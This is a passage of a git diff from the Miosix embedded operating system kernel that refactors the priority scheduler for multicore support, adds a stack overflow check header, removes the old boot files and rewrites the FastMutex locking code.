WITH_CPU_TIME_COUNTER + Scheduler::IRQcomputePreemption(coreId,MAX_TIME_SLICE); + #else //WITH_CPU_TIME_COUNTER + auto now=Scheduler::IRQcomputePreemption(coreId,MAX_TIME_SLICE); + CPUTimeCounter::IRQprofileContextSwitch(prev,t,now,coreId); + #endif //WITH_CPU_TIME_COUNTER + #ifdef WITH_SMP + // In case multiple threads are woken at the same time, we may have to + // schedule more than one higher priority thread than currently running. + // When this happens, we need to call the scheduler again on more than + // one core. Additionally, if compiling with thread affinity we may have + // already found that we need to invoke the scheduler on another core + // because a higher priority thread wasn't selected on this core due to + // incompatible affinity. In this case skip this algorithm as we don't + // need to solve the schedule for all cores, just figuring out that + // it's wrong one core is enough. Then the invoked scheduler on that + // core will complete the job and figure out if there is the need to + // reschedule on yet another core + #ifdef WITH_THREAD_AFFINITY + // With affinity, see if we find a compatible thread with higher priority + if(scheduleOnOtherCore<0) + { + signed char minRunningPriority=runningPrio[0]; + for(int c=1;cminRunningPriority;prio--) + { + for(auto it=begin(readyThreads[prio]);it!=end(readyThreads[prio]);++it) + { + auto affinity=(*it)->affinity; + for(int c=0;cminRunningPriority;prio--) + { + if(readyThreads[prio].empty()) continue; + IRQinvokeSchedulerOnCore(coreRunningMinPriorityThread); + break; + } + #endif //WITH_THREAD_AFFINITY + #endif //WITH_SMP + return; } + #if defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + // Only if thread affinity support is enabled we may end up in the situation + // where we are about to schedule the idle thread on one core and at the + // same time we need to call the scheduler on another core + if(scheduleOnOtherCore>=0) IRQinvokeSchedulerOnCore(scheduleOnOtherCore); + #endif //defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) //No thread found, run the idle thread - runningThread=idle; - ctxsave=idle->ctxsave; + runningThreads[coreId]=idle[coreId]; + ctxsave[coreId]=idle[coreId]->ctxsave; #ifdef WITH_PROCESSES MPUConfiguration::IRQdisable(); #endif //WITH_PROCESSES #ifndef WITH_CPU_TIME_COUNTER - IRQsetNextPreemption(true); + Scheduler::IRQcomputePreemption(coreId,0); #else //WITH_CPU_TIME_COUNTER - auto t=IRQsetNextPreemption(true); - IRQprofileContextSwitch(prev->timeCounterData,idle->timeCounterData,t); + auto now=Scheduler::IRQcomputePreemption(coreId,0); + CPUTimeCounter::IRQprofileContextSwitch(prev,idle[coreId],now,coreId); #endif //WITH_CPU_TIME_COUNTER } -Thread *PriorityScheduler::threadList[PRIORITY_MAX]={nullptr}; -Thread *PriorityScheduler::idle=nullptr; +IntrusiveList PriorityScheduler::readyThreads[NUM_PRIORITIES]; +IntrusiveList PriorityScheduler::notReadyThreads; +Thread *PriorityScheduler::idle[CPU_NUM_CORES]={nullptr}; + +#ifdef OS_TIMER_MODEL_UNIFIED +template +long long basic_scheduler::nextPreemptionWakeupCore=numeric_limits::max(); +#endif //OS_TIMER_MODEL_UNIFIED } //namespace miosix diff --git a/miosix/kernel/scheduler/priority/priority_scheduler.h b/miosix/kernel/scheduler/priority/priority_scheduler.h index b27dd9139..c86b6bd4b 100755 --- a/miosix/kernel/scheduler/priority/priority_scheduler.h +++ b/miosix/kernel/scheduler/priority/priority_scheduler.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2010, 2011 by Terraneo Federico * + * Copyright (C) 2010-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -27,9 +27,10 @@ #pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" +#include "interfaces/cpu_const.h" #include "priority_scheduler_types.h" -#include "kernel/kernel.h" +#include "kernel/thread.h" #ifdef SCHED_TYPE_PRIORITY @@ -48,12 +49,17 @@ class PriorityScheduler * This is called when a thread is created. * \param thread a pointer to a valid thread instance. * The behaviour is undefined if a thread is added multiple timed to the - * scheduler, or if thread is NULL. + * scheduler, or if thread is nullptr. * \param priority the priority of the new thread. * Priority must be a positive value. * Note that the meaning of priority is scheduler specific. + * \return false if an error occurred and the thread could not be added to + * the scheduler + * + * Note: this member function is called also before the kernel is started + * to add the main and idle thread. */ - static bool PKaddThread(Thread *thread, PrioritySchedulerPriority priority); + static bool IRQaddThread(Thread *thread, PrioritySchedulerPriority priority); /** * \internal @@ -61,17 +67,15 @@ class PriorityScheduler * deleted. A joinable thread is considered existing until it has been * joined, even if it returns from its entry point (unless it is detached * and terminates). - * - * Can be called both with the kernel paused and with interrupts disabled. */ - static bool PKexists(Thread *thread); + static bool IRQexists(Thread *thread); /** * \internal * Called when there is at least one dead thread to be removed from the * scheduler */ - static void PKremoveDeadThreads(); + static void removeDeadThreads(); /** * \internal @@ -81,7 +85,7 @@ class PriorityScheduler * \param newPriority new thread priority. * Priority must be a positive value. */ - static void PKsetPriority(Thread *thread, + static void IRQsetPriority(Thread *thread, PrioritySchedulerPriority newPriority); /** @@ -99,11 +103,15 @@ class PriorityScheduler /** * \internal - * This is called before the kernel is started to by the kernel. The given + * This is called before the kernel is started by the kernel. The given * thread is the idle thread, to be run all the times where no other thread * can run. + * \param whichCore either 0 on single core platforms, or specify for which + * core this idle thread is meant to be used. Note that it is expected that + * during boot exactly one idle thread for each core is given to the + * scheduler */ - static void IRQsetIdleThread(Thread *idleThread); + static void IRQsetIdleThread(int whichCore, Thread *idleThread); /** * \internal @@ -111,38 +119,33 @@ class PriorityScheduler * its running status. For example when a thread become sleeping, waiting, * deleted or if it exits the sleeping or waiting status */ - static void IRQwaitStatusHook(Thread* t) {} - + static void IRQwaitStatusHook(Thread* thread) {} + /** * \internal - * This function is used to develop interrupt driven peripheral drivers.
- * Can be used ONLY inside an IRQ (and not when interrupts are disabled) to - * find next thread in READY status. If the kernel is paused, does nothing. - * Can be used for example if an IRQ causes a higher priority thread to be - * woken, to change context. Note that to use this function the IRQ must - * use the macros to save/restore context defined in portability.h - * - * If the kernel is paused does nothing. - * It's behaviour is to modify the global variable miosix::cur which always - * points to the currently running thread. + * Called when a thread transitions from waiting/sleeping to ready. + * Must not be called if the thread is already ready. */ - static void IRQfindNextThread(); - + static void IRQwokenThread(Thread* thread); + /** * \internal - * \return the next scheduled preemption set by the scheduler - * In case no preemption is set returns numeric_limits::max() + * This function is used only by the kernel code to run the scheduler. + * It finds the next thread in READY status. If the kernel is paused, + * does nothing. It's behaviour is to modify the global variable + * miosix::runningThread which always points to the currently running thread. */ - static long long IRQgetNextPreemption(); + static void IRQrunScheduler(); private: - ///\internal Vector of lists of threads, there's one list for each priority - ///Each list s a circular list. - static Thread *threadList[PRIORITY_MAX]; + static IntrusiveList readyThreads[NUM_PRIORITIES]; + ///\internal List of threads that are not ready. + ///Keep the invariant that deleted threads are pushed to the back! + static IntrusiveList notReadyThreads; - ///\internal idle thread - static Thread *idle; + ///\internal idle threads (one per core) + static Thread *idle[CPU_NUM_CORES]; }; } //namespace miosix diff --git a/miosix/kernel/scheduler/priority/priority_scheduler_types.h b/miosix/kernel/scheduler/priority/priority_scheduler_types.h index 600c4e067..5f8be72b7 100644 --- a/miosix/kernel/scheduler/priority/priority_scheduler_types.h +++ b/miosix/kernel/scheduler/priority/priority_scheduler_types.h @@ -27,7 +27,7 @@ #pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" #ifdef SCHED_TYPE_PRIORITY @@ -37,9 +37,9 @@ class Thread; //Forward declaration /** * This class models the concept of priority for the priority scheduler. - * In this scheduler the priority is simply a short int with values ranging - * from 0 to PRIORITY_MAX-1, higher values mean higher priority, and the special - * value -1 reserved for the idle thread. + * In this scheduler the priority is simply a signed char with values ranging + * from 0 to NUM_PRIORITIES-1, higher values mean higher priority, and the + * special value -1 reserved for the idle thread. */ class PrioritySchedulerPriority { @@ -48,17 +48,17 @@ class PrioritySchedulerPriority * Constructor. Not explicit for backward compatibility. * \param priority the desired priority value. */ - PrioritySchedulerPriority(short int priority) : priority(priority) {} + PrioritySchedulerPriority(signed char priority) : priority(priority) {} /** * Default constructor. */ - PrioritySchedulerPriority() : priority(MAIN_PRIORITY) {} + PrioritySchedulerPriority() : priority(DEFAULT_PRIORITY) {} /** * \return the priority value */ - short int get() const { return priority; } + signed char get() const { return priority; } /** * \return true if this objects represents a valid priority. @@ -67,7 +67,7 @@ class PrioritySchedulerPriority */ bool validate() const { - return this->priority>=0 && this->prioritypriority>=0 && this->priorityIt is also necessary to move the thread from the old prority ///list to the new priority list. PrioritySchedulerPriority priority; - Thread *next;/// sleepingList; + /** * \internal * This class is the common interface between the kernel and the scheduling @@ -54,7 +65,7 @@ class basic_scheduler * Add a new thread to the scheduler. * \param thread a pointer to a valid thread instance. * The behaviour is undefined if a thread is added multiple timed to the - * scheduler, or if thread is NULL. + * scheduler, or if thread is nullptr. * \param priority the priority of the new thread. * Priority must be a positive value. * Note that the meaning of priority is scheduler specific. @@ -64,11 +75,11 @@ class basic_scheduler * Note: this member function is called also before the kernel is started * to add the main and idle thread. */ - static bool PKaddThread(Thread *thread, Priority priority) + static bool IRQaddThread(Thread *thread, Priority priority) { - bool res=T::PKaddThread(thread,priority); + bool res=T::IRQaddThread(thread,priority); #ifdef WITH_CPU_TIME_COUNTER - if(res) CPUTimeCounter::PKaddThread(thread); + if(res) CPUTimeCounter::IRQaddThread(thread); #endif return res; } @@ -79,12 +90,10 @@ class basic_scheduler * deleted. A joinable thread is considered existing until it has been * joined, even if it returns from its entry point (unless it is detached * and terminates). - * - * Can be called both with the kernel paused and with interrupts disabled. */ - static bool PKexists(Thread *thread) + static bool IRQexists(Thread *thread) { - return T::PKexists(thread); + return T::IRQexists(thread); } /** @@ -92,12 +101,12 @@ class basic_scheduler * Called when there is at least one dead thread to be removed from the * scheduler */ - static void PKremoveDeadThreads() + static void removeDeadThreads() { #ifdef WITH_CPU_TIME_COUNTER - CPUTimeCounter::PKremoveDeadThreads(); + CPUTimeCounter::removeDeadThreads(); #endif - T::PKremoveDeadThreads(); + T::removeDeadThreads(); } /** @@ -108,9 +117,9 @@ class basic_scheduler * \param newPriority new thread priority. * Priority must be a positive value. */ - static void PKsetPriority(Thread *thread, Priority newPriority) + static void IRQsetPriority(Thread *thread, Priority newPriority) { - T::PKsetPriority(thread,newPriority); + T::IRQsetPriority(thread,newPriority); } /** @@ -131,13 +140,14 @@ class basic_scheduler * This is called before the kernel is started to by the kernel. The given * thread is the idle thread, to be run all the times where no other thread * can run. + * \param whichCore either 0 on single core platforms, or specify for which + * core this idle thread is meant to be used. Note that it is expected that + * during boot exactly one idle thread for each core is given to the + * scheduler */ - static void IRQsetIdleThread(Thread *idleThread) + static void IRQsetIdleThread(int whichCore, Thread *idleThread) { - #ifdef WITH_CPU_TIME_COUNTER - CPUTimeCounter::IRQaddIdleThread(idleThread); - #endif - return T::IRQsetIdleThread(idleThread); + return T::IRQsetIdleThread(whichCore,idleThread); } /** @@ -146,37 +156,126 @@ class basic_scheduler * its running status. For example when a thread become sleeping, waiting, * deleted or if it exits the sleeping or waiting status */ - static void IRQwaitStatusHook(Thread *t) + static void IRQwaitStatusHook(Thread *thread) { - T::IRQwaitStatusHook(t); + T::IRQwaitStatusHook(thread); + } + + /** + * \internal + * Called when a thread transitions from waiting/sleeping to ready. + * Must not be called if the thread is already ready. + */ + static void IRQwokenThread(Thread* thread) + { + T::IRQwokenThread(thread); } /** - * This function is used to develop interrupt driven peripheral drivers.
- * Can be used ONLY inside an IRQ (and not when interrupts are disabled) to - * find next thread in READY status. If the kernel is paused, does nothing. - * Can be used for example if an IRQ causes a higher priority thread to be - * woken, to change context. Note that to use this function the IRQ must - * use the macros to save/restore context defined in portability.h + * \internal + * NOTE: If you're coming here because you were looking for a function + * named IRQfindNextThread(), it has been removed in Miosix 3.0. + * THIS FUNCTION (IRQrunScheduler()) IS NOT WHAT YOU WANT. * - * If the kernel is paused does nothing. - * It's behaviour is to modify the global variable miosix::cur which always - * points to the currently running thread. + * In Miosix 3.0 IRQwakeup() automatically sets the scheduler interrupt to + * become pending if the priority of the woken thread is higher than the + * current one, so you only need to call IRQwakeup(), so stop including + * scheduler.h in your device drivers altogether! + * + * This function is used only by the kernel code to run the scheduler. + * It finds the next thread in READY status. If the kernel is paused, + * does nothing. It's behaviour is to modify the global variable + * miosix::runningThread which always points to the currently running thread. + * + * The implementation of this function takes the FastGlobalLockFromIrq + * so you must not take the lock before calling this function + */ + static void IRQrunScheduler() noexcept + { + T::IRQrunScheduler(); + } + + /** + * \param coreId id of the core the preemption needs to be set for + * \param timeSlice desired time slice in nanoseconds for the thread that + * will be scheduled next. After that time, the scheduler will be called + * on coreId to perform preemption. The special value 0 means unbounded time + * slice (no preemption will be performed) + * \return the current time in nanoseconds if WITH_CPU_TIME_COUNTER is + * defined, else the return value should be ignored. This is done to + * call the relatively expensive IRQgetTime() only once despite both + * CPUTimeCounter and some code paths of the preemption code need it. */ - static void IRQfindNextThread() + static long long IRQcomputePreemption(unsigned char coreId, unsigned int timeSlice) { - T::IRQfindNextThread(); + using namespace std; + + long long t=0; + #ifdef OS_TIMER_MODEL_UNIFIED + #ifdef WITH_SMP + if(coreId!=WAKEUP_HANDLING_CORE) + { + #ifdef WITH_CPU_TIME_COUNTER + t=IRQgetTime(); + #endif //WITH_CPU_TIME_COUNTER + // IRQosTimerSetPreemption is to be used by all cores that are not + // WAKEUP_HANDLING_CORE + if(timeSlice>0) IRQosTimerSetPreemption(timeSlice); + } else { + #endif //WITH_SMP + t=IRQgetTime(); + long long firstWakeup; + if(sleepingList.empty()) firstWakeup=numeric_limits::max(); + else firstWakeup=sleepingList.front()->wakeupTime; + long long nextPreempt; + if(timeSlice>0) nextPreempt=t+timeSlice; + else nextPreempt=numeric_limits::max(); + nextPreemptionWakeupCore=nextPreempt; + // We could avoid setting an interrupt if the sleeping list is empty + // and we're about to run idle but there's no such hurry to run idle + // anyway, so why bother? + IRQosTimerSetInterrupt(min(firstWakeup,nextPreempt)); + #ifdef WITH_SMP + } + #endif //WITH_SMP + #else //OS_TIMER_MODEL_UNIFIED + if(timeSlice>0) IRQosTimerSetPreemption(timeSlice); + #ifdef WITH_CPU_TIME_COUNTER + t=IRQgetTime(); + #endif //WITH_CPU_TIME_COUNTER + #endif //OS_TIMER_MODEL_UNIFIED + return t; } + #ifdef OS_TIMER_MODEL_UNIFIED /** * \internal - * \return the next scheduled preemption set by the scheduler + * On single core CPUs, the hardware timer is set considering both the + * earliest thread wakeup from sleep and and the end of the time quantum + * (preemption) of the currently running thread. This function returns the + * next preemption time, if any, of the currently running thread. If there + * are threads with a wakeup time earlier than the next preemption, they are + * not considered by this function that only returns the next preemption. + * + * On multi core CPUs this function returns the next preemption time for the + * WAKEUP_HANDLING_CORE, the only core that performs the wakeup from sleep + * logic. All other cores only set their timer to schedule preemptions, and + * there is currently no getter for this value. + * + * \return the next scheduled preemption set by the scheduler for the + * WAKEUP_HANDLING_CORE. * In case no preemption is set returns numeric_limits::max() */ - static long long IRQgetNextPreemption() + static long long IRQgetWakeupCoreNextPreemption() { - return T::IRQgetNextPreemption(); + return nextPreemptionWakeupCore; } + +private: + ///\internal On single core CPUs, end of time quantum (preemption) for the + ///only core. On multi core CPUs, end of time quantum for WAKEUP_HANDLING_CORE + static long long nextPreemptionWakeupCore; + #endif //OS_TIMER_MODEL_UNIFIED }; #ifdef SCHED_TYPE_PRIORITY @@ -186,7 +285,7 @@ typedef basic_scheduler Scheduler; #elif defined(SCHED_TYPE_EDF) typedef basic_scheduler Scheduler; #else -#error No scheduler selected in config/miosix_settings.h +#error No scheduler selected in miosix_settings.h #endif } //namespace miosix diff --git a/miosix/kernel/scheduler/timer_interrupt.h b/miosix/kernel/scheduler/timer_interrupt.h deleted file mode 100644 index 0a7e9a9e3..000000000 --- a/miosix/kernel/scheduler/timer_interrupt.h +++ /dev/null @@ -1,59 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "interfaces/portability.h" -#include "scheduler.h" - -namespace miosix { - -//This is a function that is part of the internal implementation of the kernel -//and is defined in kernel.cpp. User code should not know about these nor try to use them. -extern bool IRQwakeThreads(long long currentTime);///\internal Do not use outside the kernel - -/** - * Performs thread wakeup and preemption in response to a scheduled timer - * alarm interrupt. - * \param currentTime time in nanoseconds when the timer interrupt fired. - * \warning currentTime cannot be earlier than the last deadline actually - * programmed by the kernel! - */ -inline bool IRQtimerInterrupt(long long currentTime) -{ - Thread::IRQstackOverflowCheck(); - bool hptw = IRQwakeThreads(currentTime); - if(currentTime >= Scheduler::IRQgetNextPreemption() || hptw) - { - //End of the burst || a higher priority thread has woken up - Scheduler::IRQfindNextThread();//If the kernel is running, preempt - return false; - } - return true; -} - -} //namespace miosix diff --git a/miosix/kernel/stackcheck.h b/miosix/kernel/stackcheck.h new file mode 100644 index 000000000..f921192d8 --- /dev/null +++ b/miosix/kernel/stackcheck.h @@ -0,0 +1,87 @@ +/*************************************************************************** + * Copyright (C) 2008-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifndef COMPILING_MIOSIX +#error "This is header is private, it can't be used outside Miosix itself." +#error "If your code depends on a private header, it IS broken." +#endif //COMPILING_MIOSIX + +#include "interfaces/arch_registers.h" //For __CORTEX_M +#include "interfaces_private/userspace.h" +#include "thread.h" + +namespace miosix { + +//These are defined in thread.cpp +extern volatile Thread *runningThreads[CPU_NUM_CORES]; + +/** + * \internal + * To be used in interrupts where a context switch can occur to check if the + * stack of the thread being preempted has overflowed. + * Note that since Miosix 3 all peripheral interrupts no longer perform a + * full context save/restore thus you cannot call this functions from such + * interrupts. + * + * If the overflow check failed for a kernel thread or a thread running in + * kernelspace this function causes a reboot. On a platform with processes + * this function calls IRQreportFault() if the stack overflow happened in + * userspace, causing the process to segfault. + */ +inline void IRQstackOverflowCheck() +{ + //CortexM33 has hardware stackoverflow checking, no need to check in software + #if !defined(__CORTEX_M) || __CORTEX_M != 33U + Thread *cur=const_cast(runningThreads[getCurrentCoreId()]); + const unsigned int watermarkSize=WATERMARK_LEN/sizeof(unsigned int); + #ifdef WITH_PROCESSES + if(cur->flags.isInUserspace()) + { + bool overflow=false; + if(cur->userCtxsave[STACK_OFFSET_IN_CTXSAVE] < + reinterpret_cast(cur->userWatermark+watermarkSize)) [[unlikely]] + overflow=true; + if(overflow==false) [[likely]] + for(unsigned int i=0;iuserWatermark[i]!=WATERMARK_FILL) [[unlikely]] + overflow=true; + if(overflow) [[unlikely]] + Thread::IRQreportFault(FaultData(fault::STACKOVERFLOW)); + } + #endif //WITH_PROCESSES + if(cur->ctxsave[STACK_OFFSET_IN_CTXSAVE] < + reinterpret_cast(cur->watermark+watermarkSize)) [[unlikely]] + errorHandler(Error::STACK_OVERFLOW); + for(unsigned int i=0;iwatermark[i]!=WATERMARK_FILL) [[unlikely]] + errorHandler(Error::STACK_OVERFLOW); + #endif //!defined(__CORTEX_M) || __CORTEX_M != 33U +} + +} //namespace miosix diff --git a/miosix/kernel/stage_2_boot.cpp b/miosix/kernel/stage_2_boot.cpp deleted file mode 100644 index 2ecd396bf..000000000 --- a/miosix/kernel/stage_2_boot.cpp +++ /dev/null @@ -1,138 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008, 2009, 2010, 2011, 2012, 2013 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/* ***************************************************** -Miosix boot system -Stage 2 boot process -This code will initialize system peripherals, and will -start the kernel and filesystem. -***************************************************** */ - -#include -#include -// Low level hardware functionalities -#include "interfaces/bsp.h" -#include "interfaces/os_timer.h" -#include "interfaces/deep_sleep.h" -// Miosix kernel -#include "kernel.h" -#include "filesystem/file_access.h" -#include "error.h" -#include "logging.h" -// settings for miosix -#include "config/miosix_settings.h" -#include "util/util.h" -#include "util/version.h" - -using namespace std; - -///<\internal Entry point for application code. -int main(int argc, char *argv[]); - -namespace miosix { - -/** - * \internal - * Calls C++ global constructors - * \param start first function pointer to call - * \param end one past the last function pointer to call - */ -static void callConstructors(unsigned long *start, unsigned long *end) -{ - for(unsigned long *i=start; i(*i); - funcptr(); - } -} - -void *mainLoader(void *argv) -{ - //If reaches here kernel is started, print Ok - bootlog("Ok\n%s\n",getMiosixVersion()); - - //Starting part of bsp that must be started after kernel - bspInit2(); - - //Initialize application C++ global constructors (called after boot) - extern unsigned long __preinit_array_start asm("__preinit_array_start"); - extern unsigned long __preinit_array_end asm("__preinit_array_end"); - extern unsigned long __init_array_start asm("__init_array_start"); - extern unsigned long __init_array_end asm("__init_array_end"); - extern unsigned long _ctor_start asm("_ctor_start"); - extern unsigned long _ctor_end asm("_ctor_end"); - callConstructors(&__preinit_array_start, &__preinit_array_end); - callConstructors(&__init_array_start, &__init_array_end); - callConstructors(&_ctor_start, &_ctor_end); - - bootlog("OS Timer freq = %d Hz\n", internal::osTimerGetFrequency()); - bootlog("Available heap %d out of %d Bytes\n", - MemoryProfiling::getCurrentFreeHeap(), - MemoryProfiling::getHeapSize()); - - //Run application code - #ifdef __NO_EXCEPTIONS - main(0,NULL); - #else //__NO_EXCEPTIONS - try { - main(0,NULL); - } catch(std::exception& e) { - errorLog("***An exception propagated through a thread\n"); - errorLog("what():%s\n",e.what()); - } catch(...) { - errorLog("***An exception propagated through a thread\n"); - } - #endif //__NO_EXCEPTIONS - - //If main returns, shutdown - shutdown(); - return 0; -} - -} //namespace miosix - -extern "C" void _init() -{ - using namespace miosix; - - //Initialize kernel C++ global constructors (called before boot) - extern unsigned long __miosix_init_array_start asm("__miosix_init_array_start"); - extern unsigned long __miosix_init_array_end asm("__miosix_init_array_end"); - callConstructors(&__miosix_init_array_start, &__miosix_init_array_end); - - if(areInterruptsEnabled()) errorHandler(INTERRUPTS_ENABLED_AT_BOOT); - IRQbspInit(); - internal::IRQosTimerInit(); - #ifdef WITH_DEEP_SLEEP - IRQdeepSleepInit(); - #endif // WITH_DEEP_SLEEP - //After IRQbspInit() serial port is initialized, so we can use IRQbootlog - IRQbootlog("Starting Kernel... "); - startKernel(); - //Never reach here (unless startKernel fails) -} diff --git a/miosix/kernel/stage_2_boot.h b/miosix/kernel/stage_2_boot.h deleted file mode 100644 index 5cff2abc2..000000000 --- a/miosix/kernel/stage_2_boot.h +++ /dev/null @@ -1,56 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2013 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef STAGE_2_BOOT_H -#define STAGE_2_BOOT_H - -#ifndef COMPILING_MIOSIX -#error "This is header is private, it can't be used outside Miosix itself." -#error "If your code depends on a private header, it IS broken." -#endif //COMPILING_MIOSIX - -namespace miosix { - -/** - * \internal - * This function will perform the part of system initialization that must be - * done after the kernel is started. At the end, it will call main() - * \param argv ignored parameter - */ -void *mainLoader(void *argv); - -} //namespace miosix - -/** - * \internal - * Performs the part of initialization that must be done before the kernel is - * started, and starts the kernel. - * This function is called by the stage 1 boot which is architecture dependent. - */ -extern "C" void _init(); - -#endif //STAGE_2_BOOT_H diff --git a/miosix/kernel/sync.cpp b/miosix/kernel/sync.cpp index b1914aca1..f0bd6d137 100644 --- a/miosix/kernel/sync.cpp +++ b/miosix/kernel/sync.cpp @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2008-2023 by Terraneo Federico * + * Copyright (C) 2008-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -26,170 +26,163 @@ ***************************************************************************/ #include "sync.h" -#include "kernel.h" #include "error.h" -#include "pthread_private.h" +#include "kernel/scheduler/scheduler.h" #include using namespace std; namespace miosix { -/** - * Helper lambda to sort threads in a min heap to implement priority inheritance - * \param lhs first thread to compare - * \param rhs second thread to compare - * \return true if lhs->getPriority() < rhs->getPriority() - */ -static auto PKlowerPriority=[](Thread *lhs, Thread *rhs) -{ - return lhs->PKgetPriority().mutexLessOp(rhs->PKgetPriority()); -}; - // // class FastMutex // -FastMutex::FastMutex(Options opt) +int FastMutex::lock() { - if(opt==RECURSIVE) - { - pthread_mutexattr_t temp; - pthread_mutexattr_init(&temp); - pthread_mutexattr_settype(&temp,PTHREAD_MUTEX_RECURSIVE); - pthread_mutex_init(&impl,&temp); - pthread_mutexattr_destroy(&temp); - } else pthread_mutex_init(&impl,nullptr); -} - -// -// class Mutex -// - -Mutex::Mutex(Options opt): owner(nullptr), next(nullptr), waiting() -{ - recursiveDepth= opt==RECURSIVE ? 0 : -1; -} - -void Mutex::PKlock(PauseKernelLock& dLock) -{ - Thread *p=Thread::PKgetCurrentThread(); + FastPauseKernelLock dLock; + Thread *cur=Thread::PKgetCurrentThread(); if(owner==nullptr) { - owner=p; - //Save original thread priority, if the thread has not yet locked - //another mutex - if(owner->mutexLocked==nullptr) owner->savedPriority=owner->PKgetPriority(); - //Add this mutex to the list of mutexes locked by owner - this->next=owner->mutexLocked; - owner->mutexLocked=this; - return; + owner=cur; + return 0; } //This check is very important. Without this attempting to lock the same //mutex twice won't cause a deadlock because the wait is enclosed in a - //while(owner!=p) which is immeditely false. - if(owner==p) + //while(owner!=cur) which is immeditely false. + if(owner==cur) { if(recursiveDepth>=0) { recursiveDepth++; - return; - } else errorHandler(MUTEX_DEADLOCK); //Bad, deadlock + return 0; + } else errorHandler(Error::MUTEX_ERROR); //Bad, deadlock } - //Add thread to mutex' waiting queue - waiting.push_back(p); - push_heap(waiting.begin(),waiting.end(),PKlowerPriority); + waitQueue.PKenqueue(cur); + //The while is necessary to protect against spurious wakeups + while(owner!=cur) Thread::PKrestartKernelAndWait(dLock); + return 0; +} - //Handle priority inheritance - if(p->mutexWaiting!=nullptr) errorHandler(UNEXPECTED); - p->mutexWaiting=this; - if(owner->PKgetPriority().mutexLessOp(p->PKgetPriority())) +bool FastMutex::tryLock() +{ + FastPauseKernelLock dLock; + Thread *cur=Thread::PKgetCurrentThread(); + if(owner==nullptr) { - Thread *walk=owner; - for(;;) - { - Scheduler::PKsetPriority(walk,p->PKgetPriority()); - if(walk->mutexWaiting==nullptr) break; - make_heap(walk->mutexWaiting->waiting.begin(), - walk->mutexWaiting->waiting.end(),PKlowerPriority); - walk=walk->mutexWaiting->owner; - } + owner=cur; + return true; } + if(owner==cur && recursiveDepth>=0) + { + recursiveDepth++; + return true; + } + return false; +} - //The while is necessary to protect against spurious wakeups - while(owner!=p) Thread::PKrestartKernelAndWait(dLock); +int FastMutex::unlock() +{ + FastPauseKernelLock dLock; + if(extraChecks!=ExtraChecks::None) + if(owner!=Thread::PKgetCurrentThread()) errorHandler(Error::MUTEX_ERROR); + + if(recursiveDepth>0) recursiveDepth--; + else owner=waitQueue.PKwakeOne(); + return 0; } -void Mutex::PKlockToDepth(PauseKernelLock& dLock, unsigned int depth) +inline void FastMutex::PKlockToDepth(FastPauseKernelLock& dLock, 